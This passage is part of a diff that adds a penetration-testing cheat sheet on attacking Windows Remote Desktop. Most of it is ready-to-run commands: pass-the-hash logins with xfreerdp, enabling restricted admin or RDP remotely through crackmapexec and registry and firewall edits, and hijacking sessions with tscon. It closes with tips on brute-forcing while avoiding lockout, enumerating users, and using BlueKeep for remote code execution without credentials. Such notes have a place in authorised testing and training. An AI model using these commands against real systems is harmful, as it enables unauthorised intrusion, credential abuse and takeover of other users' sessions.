+
# Restricted admin mode (PTH without exposing creds on remote):
|
|
117
|
+
xfreerdp /v:<target> /u:administrator /pth:<NTLM_hash> /cert:ignore +restricted-admin
|
|
118
|
+
|
|
119
|
+
# File transfer:
|
|
120
|
+
xfreerdp /v:<target> /u:user /p:pass /drive:share,/home/kali/share /cert:ignore
|
|
121
|
+
|
|
122
|
+
# Run without display (just for testing):
|
|
123
|
+
xfreerdp /v:<target> /u:user /p:pass /cert:ignore /auth-only # Test creds only
|
|
124
|
+
|
|
125
|
+
---
|
|
126
|
+
|
|
127
|
+
## Pass-the-Hash via RDP
|
|
128
|
+
|
|
129
|
+
xfreerdp supports NTLM hash directly (no cracking needed):
|
|
130
|
+
|
|
131
|
+
# Requires: "Restricted Admin" mode enabled on target (disabled by default on modern Windows)
|
|
132
|
+
xfreerdp /v:<target> /u:administrator /pth:<NTLM_hash> +restricted-admin /cert:ignore
|
|
133
|
+
|
|
134
|
+
# Enable restricted admin remotely (if you have RCE or SMB):
|
|
135
|
+
# Via crackmapexec:
|
|
136
|
+
crackmapexec smb <target> -u admin -p pass -M rdp -o ACTION=enable
|
|
137
|
+
|
|
138
|
+
---
|
|
139
|
+
|
|
140
|
+
## RDP Session Hijacking (local privilege required)
|
|
141
|
+
|
|
142
|
+
If you have local admin on a Windows box with active RDP sessions:
|
|
143
|
+
|
|
144
|
+
# List active sessions:
|
|
145
|
+
query session
|
|
146
|
+
# SESSIONNAME USERNAME ID STATE
|
|
147
|
+
# rdp-tcp#0 admin 1 Active
|
|
148
|
+
|
|
149
|
+
# Hijack session (requires SYSTEM privileges):
|
|
150
|
+
# From cmd as SYSTEM:
|
|
151
|
+
tscon 1 /dest:rdp-tcp#0 # Hijack session ID 1
|
|
152
|
+
|
|
153
|
+
# Get SYSTEM via token impersonation first:
|
|
154
|
+
# See postexploit/windows_privesc.md
|
|
155
|
+
|
|
156
|
+
---
|
|
157
|
+
|
|
158
|
+
## Sensitive RDP Configuration
|
|
159
|
+
|
|
160
|
+
# Check registry for RDP settings (via RCE or SMB file access):
|
|
161
|
+
# HKLM\System\CurrentControlSet\Control\Terminal Server
|
|
162
|
+
# fDenyTSConnections = 0 → RDP enabled
|
|
163
|
+
# SecurityLayer = 0 → no NLA
|
|
164
|
+
# UserAuthentication = 0 → NLA disabled
|
|
165
|
+
|
|
166
|
+
# Enable RDP remotely via crackmapexec:
|
|
167
|
+
crackmapexec smb <target> -u admin -p pass -M rdp -o ACTION=enable
|
|
168
|
+
|
|
169
|
+
# Enable via registry (if cmd access):
|
|
170
|
+
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
|
|
171
|
+
netsh advfirewall firewall set rule group="remote desktop" new enable=yes
|
|
172
|
+
|
|
173
|
+
---
|
|
174
|
+
|
|
175
|
+
## Pro Tips
|
|
176
|
+
|
|
177
|
+
1. Always check BlueKeep first — unpatched Windows 7/2008 is still common in enterprises
|
|
178
|
+
2. `xfreerdp /pth:` = pass-the-hash without cracking; needs restricted admin mode on target
|
|
179
|
+
3. RDP brute force is noisy — use 1 thread and high delay to avoid account lockout
|
|
180
|
+
4. NLA disabled = username appears before auth → enumerate valid users via auth responses
|
|
181
|
+
5. Session hijacking requires SYSTEM — combine with token impersonation (see windows_privesc.md)
|
|
182
|
+
6. `crowbar` handles NLA better than hydra for modern Windows targets
|
|
183
|
+
|
|
184
|
+
## Summary
|
|
185
|
+
|
|
186
|
+
RDP testing: `nmap --script rdp-enum-encryption` → BlueKeep check (`auxiliary/scanner/rdp/cve_2019_0708_bluekeep`) → credential brute (`crowbar` for NLA, `hydra` for no-NLA) → `xfreerdp /pth:` for pass-the-hash → session hijacking if local admin. BlueKeep on unpatched Windows 7/2008 = zero-credential RCE.
|